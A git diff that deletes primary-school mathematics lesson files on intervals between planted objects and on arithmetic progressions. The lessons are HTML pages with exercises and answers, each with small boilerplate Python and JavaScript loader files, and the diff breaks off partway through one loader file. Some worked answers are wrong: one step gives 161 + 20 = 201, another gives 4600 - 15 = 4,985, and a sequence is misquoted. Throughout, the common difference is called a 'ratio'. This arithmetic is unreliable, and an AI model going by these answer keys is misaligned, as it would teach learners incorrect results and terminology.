diff --git a/Save_Mathematics/P5/map511m13/map511m13a01/a.txt b/Save_Mathematics/P5/map511m13/map511m13a01/a.txt
deleted file mode 100644
index 0478bf9..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a01/a.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
- <span style="text-decoration: underline;">
-  introduction
- </span>
-</p>
-<p>
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</p>
-<p>
- In general we olways use the intervals when we are going to plant trees in the field, to make a queue of persons by reserving a distance between two undividuals or things.
- <br />
- <br />
- It means that you separate two things with a distance each other
- <br />
- <br />
- <br />
- <br />
- <br />
- Example:
-</p>
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
-  CLASSIFICATION OF OBJECTS ON INTERVAL LINE
- </span>
- <br />
- <br style="text-decoration: underline;" />
- <span style="text-decoration: underline;">
-  a)
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  OBJECTS ON CLOSED LINE
- </span>
- <br />
- <br />
- Here, the objects are one closed line or on a circle like this on figure
- <br />
- <span style="font-weight: bold;">
-  Rule
- </span>
- : On closed lines the number of intervals (i) is equal to the number of objects (0)
- <br />
- Ni= no
- <br />
- <br />
- b)
- <span style="font-weight: bold; text-decoration: underline;">
-  OBJECTS ON OPEN LINE
- </span>
- <br />
- <br />
- Here the objects are on open line or straight line like this on figure.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- Rule: on open lines the number of intervals is less than the number of objects (0)
- <br />
- by 1 so Ni = no-1
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a01/description.py b/Save_Mathematics/P5/map511m13/map511m13a01/description.py
deleted file mode 100644
index 9a3cdeb..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m13a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m13/map511m13a01/lesson.js b/Save_Mathematics/P5/map511m13/map511m13a01/lesson.js
deleted file mode 100644
index 9e2bcad..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m13/map511m13a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m13/map511m13a01/source.txt b/Save_Mathematics/P5/map511m13/map511m13a01/source.txt
deleted file mode 100644
index 0478bf9..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a01/source.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
- <span style="text-decoration: underline;">
-  introduction
- </span>
-</p>
-<p>
- <span style="text-decoration: underline;">
-  &nbsp;
- </span>
-</p>
-<p>
- In general we olways use the intervals when we are going to plant trees in the field, to make a queue of persons by reserving a distance between two undividuals or things.
- <br />
- <br />
- It means that you separate two things with a distance each other
- <br />
- <br />
- <br />
- <br />
- <br />
- Example:
-</p>
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
-  CLASSIFICATION OF OBJECTS ON INTERVAL LINE
- </span>
- <br />
- <br style="text-decoration: underline;" />
- <span style="text-decoration: underline;">
-  a)
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  OBJECTS ON CLOSED LINE
- </span>
- <br />
- <br />
- Here, the objects are one closed line or on a circle like this on figure
- <br />
- <span style="font-weight: bold;">
-  Rule
- </span>
- : On closed lines the number of intervals (i) is equal to the number of objects (0)
- <br />
- Ni= no
- <br />
- <br />
- b)
- <span style="font-weight: bold; text-decoration: underline;">
-  OBJECTS ON OPEN LINE
- </span>
- <br />
- <br />
- Here the objects are on open line or straight line like this on figure.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- Rule: on open lines the number of intervals is less than the number of objects (0)
- <br />
- by 1 so Ni = no-1
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a02/a.txt b/Save_Mathematics/P5/map511m13/map511m13a02/a.txt
deleted file mode 100644
index 19cab25..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a02/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- 1) Alice planted 24 seedlings in a line. How many intervals did she leave between
- <br />
- plantes ?
- <br />
- <br />
- 2) How many intervals are needed between 450 poles to lee fixed arounda square
- <br />
- form ?
- <br />
- <br />
- 3) Thirty trees form a circular school garden. How many intervals are between the trees ?
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1) Number of seedlings = 24 Ni = N0 - 1
- <br />
- <br />
- Number of intervals = 24 - 1 = 23
- <br />
- <br />
- 2) Number of poles = 450
- <br />
- <br />
- Number of intervals = 450 Ni = N0
- <br />
- <br />
- <br />
- 3) Number of trees = 30
- <br />
- <br />
- Number of intervals = 30
- <br />
- <br />
- Ni =N0
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a02/description.py b/Save_Mathematics/P5/map511m13/map511m13a02/description.py
deleted file mode 100644
index 3f56940..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m13a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m13/map511m13a02/lesson.js b/Save_Mathematics/P5/map511m13/map511m13a02/lesson.js
deleted file mode 100644
index 60c8e08..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m13/map511m13a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m13/map511m13a02/source.txt b/Save_Mathematics/P5/map511m13/map511m13a02/source.txt
deleted file mode 100644
index 19cab25..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a02/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- 1) Alice planted 24 seedlings in a line. How many intervals did she leave between
- <br />
- plantes ?
- <br />
- <br />
- 2) How many intervals are needed between 450 poles to lee fixed arounda square
- <br />
- form ?
- <br />
- <br />
- 3) Thirty trees form a circular school garden. How many intervals are between the trees ?
- <br />
- <br />
- <span style="text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1) Number of seedlings = 24 Ni = N0 - 1
- <br />
- <br />
- Number of intervals = 24 - 1 = 23
- <br />
- <br />
- 2) Number of poles = 450
- <br />
- <br />
- Number of intervals = 450 Ni = N0
- <br />
- <br />
- <br />
- 3) Number of trees = 30
- <br />
- <br />
- Number of intervals = 30
- <br />
- <br />
- Ni =N0
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a03/a.txt b/Save_Mathematics/P5/map511m13/map511m13a03/a.txt
deleted file mode 100644
index 80f16c0..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a03/a.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- Inependent practice
-</p>
-<p>
- 1) David fenced round his square compound using 60 poles . Find the number of intervals left between the pole.
- <br />
- <br />
- 2) They planted 40 seed plants on a straigth line for a garden. calculate the number of intervals are there.
- <br />
- <br />
- 3) An interval of an arms length is left between each line of a school parade. Find the number of intervals in a line of 20 pupils.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a03/description.py b/Save_Mathematics/P5/map511m13/map511m13a03/description.py
deleted file mode 100644
index 73c381f..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m13a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m13/map511m13a03/lesson.js b/Save_Mathematics/P5/map511m13/map511m13a03/lesson.js
deleted file mode 100644
index 8dd6096..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m13/map511m13a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m13/map511m13a03/source.txt b/Save_Mathematics/P5/map511m13/map511m13a03/source.txt
deleted file mode 100644
index 80f16c0..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a03/source.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- Inependent practice
-</p>
-<p>
- 1) David fenced round his square compound using 60 poles . Find the number of intervals left between the pole.
- <br />
- <br />
- 2) They planted 40 seed plants on a straigth line for a garden. calculate the number of intervals are there.
- <br />
- <br />
- 3) An interval of an arms length is left between each line of a school parade. Find the number of intervals in a line of 20 pupils.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a04/a.txt b/Save_Mathematics/P5/map511m13/map511m13a04/a.txt
deleted file mode 100644
index f86b408..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a04/a.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- 1) How many intervals are need between 120 trees to be fixed oround a rectangular
- <br />
- form ?
- <br />
- <br />
- 2) Twelve poles form a square garden of school. How many intervals are between the
- <br />
- poles.
- <br />
- <br />
- 3) John planted 72 seed plants of coffe in a line. How many intervals did she leave between plants.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a04/description.py b/Save_Mathematics/P5/map511m13/map511m13a04/description.py
deleted file mode 100644
index d23ce0d..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m13a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m13/map511m13a04/lesson.js b/Save_Mathematics/P5/map511m13/map511m13a04/lesson.js
deleted file mode 100644
index 83cf00c..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m13/map511m13a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m13/map511m13a04/source.txt b/Save_Mathematics/P5/map511m13/map511m13a04/source.txt
deleted file mode 100644
index f86b408..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a04/source.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- 1) How many intervals are need between 120 trees to be fixed oround a rectangular
- <br />
- form ?
- <br />
- <br />
- 2) Twelve poles form a square garden of school. How many intervals are between the
- <br />
- poles.
- <br />
- <br />
- 3) John planted 72 seed plants of coffe in a line. How many intervals did she leave between plants.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a05/a.txt b/Save_Mathematics/P5/map511m13/map511m13a05/a.txt
deleted file mode 100644
index 37a154d..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a05/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1) Fourteen poles form a rectangular school garden. How many intervals are between the poles ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/map511m13a05/description.py b/Save_Mathematics/P5/map511m13/map511m13a05/description.py
deleted file mode 100644
index 16cc50b..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m13a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m13/map511m13a05/lesson.js b/Save_Mathematics/P5/map511m13/map511m13a05/lesson.js
deleted file mode 100644
index e7d9caa..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m13/map511m13a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m13/map511m13a05/source.txt b/Save_Mathematics/P5/map511m13/map511m13a05/source.txt
deleted file mode 100644
index 37a154d..0000000
--- a/Save_Mathematics/P5/map511m13/map511m13a05/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1) Fourteen poles form a rectangular school garden. How many intervals are between the poles ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/activities.js b/Save_Mathematics/P5/map511m14/activities.js
deleted file mode 100755
index 72661ce..0000000
--- a/Save_Mathematics/P5/map511m14/activities.js
+++ /dev/null
@@ -1,12 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m14a01','blue'],
-['2','2','map5','basic','map511m14a02','blue'],
-['3','3','map5','basic','map511m14a03','blue'],
-['4','4','map5','basic','map511m14a04','blue'],
-['5','5','map5','basic','map511m14a05','blue'],
-['6','6','map5','basic','map511m14a06','blue'],
-['7','7','map5','basic','map511m14a07','blue'],
-['8','8','map5','basic','map511m14a08','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m14/map511m14a01/a.txt b/Save_Mathematics/P5/map511m14/map511m14a01/a.txt
deleted file mode 100644
index b4add4c..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a01/a.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; introduction
-</p>
-<p>
- In human being life,Arithmetic progression is used for completing the successive numbers either adding or removing the same number such as a ratio.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
- </span>
- <br />
- <br />
- 1)Different level in a primary school are:1,2,3,4,5,6
- <br />
- <br />
- 2)2,4,6,8,10,....
- <br />
- <br />
- 3)15,19,23,27,...
- <br />
- <br />
- The difference between two successive number is called "
- <span style="font-weight: bold;">
-  RATIO
- </span>
- "
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)22,32,42,52,62,....;here the ratio is 10;
- <br />
- <br />
- 2)12,15,18,21,24,....;here the ratio is 3;
- <br />
- <br />
- 3)33,35,37,39,41,....;here the ratio is 2;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a01/description.py b/Save_Mathematics/P5/map511m14/map511m14a01/description.py
deleted file mode 100644
index 87216a2..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a01/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a01/lesson.js
deleted file mode 100644
index 01ba075..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a01/source.txt b/Save_Mathematics/P5/map511m14/map511m14a01/source.txt
deleted file mode 100644
index b4add4c..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a01/source.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; introduction
-</p>
-<p>
- In human being life,Arithmetic progression is used for completing the successive numbers either adding or removing the same number such as a ratio.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
- </span>
- <br />
- <br />
- 1)Different level in a primary school are:1,2,3,4,5,6
- <br />
- <br />
- 2)2,4,6,8,10,....
- <br />
- <br />
- 3)15,19,23,27,...
- <br />
- <br />
- The difference between two successive number is called "
- <span style="font-weight: bold;">
-  RATIO
- </span>
- "
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)22,32,42,52,62,....;here the ratio is 10;
- <br />
- <br />
- 2)12,15,18,21,24,....;here the ratio is 3;
- <br />
- <br />
- 3)33,35,37,39,41,....;here the ratio is 2;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a02/a.txt b/Save_Mathematics/P5/map511m14/map511m14a02/a.txt
deleted file mode 100644
index 675e060..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a02/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Increasing progression
-</p>
-<p>
- This type of arithmetic progression is obtained by taking the current number add the ratio.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)1250,1275,1300,1325,.....The ratio is 25 increasing.
- <br />
- <br />
- 2)1250,1300,1350,1400,.....The ratio is 50 increasing.
- <br />
- <br />
- 3)1250,1350,1450,1550,..... the ratio is 100 increasing.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :We say increasing progression,when we add the same number to an existing number.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a02/description.py b/Save_Mathematics/P5/map511m14/map511m14a02/description.py
deleted file mode 100644
index cbbb1e4..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a02/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a02/lesson.js
deleted file mode 100644
index 7dd9e42..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a02/source.txt b/Save_Mathematics/P5/map511m14/map511m14a02/source.txt
deleted file mode 100644
index 675e060..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a02/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Increasing progression
-</p>
-<p>
- This type of arithmetic progression is obtained by taking the current number add the ratio.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)1250,1275,1300,1325,.....The ratio is 25 increasing.
- <br />
- <br />
- 2)1250,1300,1350,1400,.....The ratio is 50 increasing.
- <br />
- <br />
- 3)1250,1350,1450,1550,..... the ratio is 100 increasing.
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Rule
- </span>
- :We say increasing progression,when we add the same number to an existing number.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a03/a.txt b/Save_Mathematics/P5/map511m14/map511m14a03/a.txt
deleted file mode 100644
index 601f6f9..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a03/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Decreasing progression
-</p>
-<p>
- This kind of arithmetic progression is obtained by taking the current number then subtracting the ratio.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)800,700,600,500,400,.....;The ratio is 100 decreasing.
- <br />
- <br />
- 2)1200,1000,800,600,400,...;The ratio is 200 decreasing.
- <br />
- <br />
- 3)13400,13000,12600,12200,....;The ratio is 400 decreasing.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Rules
- </span>
- :We say decreasing progression,When taking the current number then subtracting the ratio are used.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a03/description.py b/Save_Mathematics/P5/map511m14/map511m14a03/description.py
deleted file mode 100644
index b7eec7f..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a03/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a03/lesson.js
deleted file mode 100644
index 7df9394..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m14/map511m14a03/source.txt b/Save_Mathematics/P5/map511m14/map511m14a03/source.txt
deleted file mode 100644
index 601f6f9..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a03/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Decreasing progression
-</p>
-<p>
- This kind of arithmetic progression is obtained by taking the current number then subtracting the ratio.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples
- </span>
- :
- <br />
- <br />
- 1)800,700,600,500,400,.....;The ratio is 100 decreasing.
- <br />
- <br />
- 2)1200,1000,800,600,400,...;The ratio is 200 decreasing.
- <br />
- <br />
- 3)13400,13000,12600,12200,....;The ratio is 400 decreasing.
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  Rules
- </span>
- :We say decreasing progression,When taking the current number then subtracting the ratio are used.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a04/a.txt b/Save_Mathematics/P5/map511m14/map511m14a04/a.txt
deleted file mode 100644
index e2ebe3d..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a04/a.txt
+++ /dev/null
@@ -1,115 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided practice
-</p>
-<p>
- 1.What is the ratio of the following arithmetic progression:
- <br />
- <br />
- a)125,140,155,170,...
- <br />
- <br />
- b)280,300,320,340,...
- <br />
- <br />
- 2.Find the next number in the following progression:
- <br />
- <br />
- a)3770,4770,5770,.....,.....,.....,9770;
- <br />
- <br />
- b)121,141,161,....,.....,.....,241;
- <br />
- <br />
- c)4645,4630,4615,....,....,....;
- <br />
- <br />
- d)12460,11460,10460,.....,.......,.....;
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <br />
- <br />
- <br />
- 1.a)125,140,155,170
-</p>
-<ul>
- <li>
-  140 -125 =15
- </li>
- <li>
-  155 - 140=15
- </li>
- <li>
-  170 - 155=15
- </li>
-</ul>
-<p>
- the ratio is 15
- <br />
- <br />
- b)280,300,320,340
-</p>
-<ul>
- <li>
-  300 - 280 =20
- </li>
- <li>
-  320 - 300 =20
- </li>
- <li>
-  340 -320 =20
- </li>
-</ul>
-<p>
- The ratio is 20
- <br />
- <br />
- 2.a)3770,4470,5770,.....,.....,......,9,770 the ratio is1,000.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  the forth number is 5,770 + 1,000 =6,770
- </li>
- <li>
-  The fifth number is 6,770 + 1,000=7,770
- </li>
- <li>
-  The sixth number is 7,770 + 1,000=8,770
- </li>
-</ul>
-<p>
- b) 121,141,161,....,.....,....,241 the ratio is 20
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The forth number is 161 + 20 =181
- </li>
- <li>
-  the fifth number is 161 + 20 =201
- </li>
- <li>
-  The sixth number is 201 + 20 =221
- </li>
-</ul>
-<p>
- c) 4645,4630,4615,.....,......,.....;the ratio is 15 decreasing
- <br />
- <br />
-</p>
-<ul>
- <li>
-  The forth number is 4615 - 15 =4,600
- </li>
- <li>
-  The fifth number is 4600 - 15 =4,985
- </li>
- <li>
-  The sixth number is 4,985 - 15=4,970
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m14/map511m14a04/description.py b/Save_Mathematics/P5/map511m14/map511m14a04/description.py
deleted file mode 100644
index e214140..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m14a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m14/map511m14a04/lesson.js b/Save_Mathematics/P5/map511m14/map511m14a04/lesson.js
deleted file mode 100644
index 799d2c8..0000000
--- a/Save_Mathematics/P5/map511m14/map511m14a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m14/map511m14a04/a.txt'},
